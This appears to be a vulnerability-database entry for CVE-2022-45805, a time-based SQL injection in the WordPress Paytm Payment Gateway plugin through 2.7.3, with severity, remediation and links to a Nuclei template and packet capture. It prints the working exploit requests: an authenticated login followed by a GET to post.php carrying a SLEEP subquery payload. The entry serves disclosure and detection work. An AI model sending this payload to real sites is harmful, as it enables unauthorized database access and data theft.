🔙 목록으로 돌아가기

CVE-2022-45805: WordPress Paytm Payment Gateway <=2.7.3 - SQL Injection

TitleWordPress Paytm Payment Gateway <=2.7.3 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactAn attacker can exploit this vulnerability to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
RemediationUpdate to version 2.7.7 or a newer patched version.
CVSS Score9.8
EPSS Score0.29641
CVE IDCVE-2022-45805
CWE IDCWE-89
Tags time-based-sqli cve cve2022 sqli wordpress wp-plugin wp paytm-payments authenticated paytm vuln

🔍 Vulnerability Description

WordPress Paytm Payment Gateway plugin through 2.7.3 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=LD3hMZ&pwd=kZEQEy&wp-submit=Log+In
GET /wp-admin/post.php?post=1+AND+(SELECT+6205+FROM+(SELECT(SLEEP(6)))RtRs)&action=edit HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-45805.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-45805.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A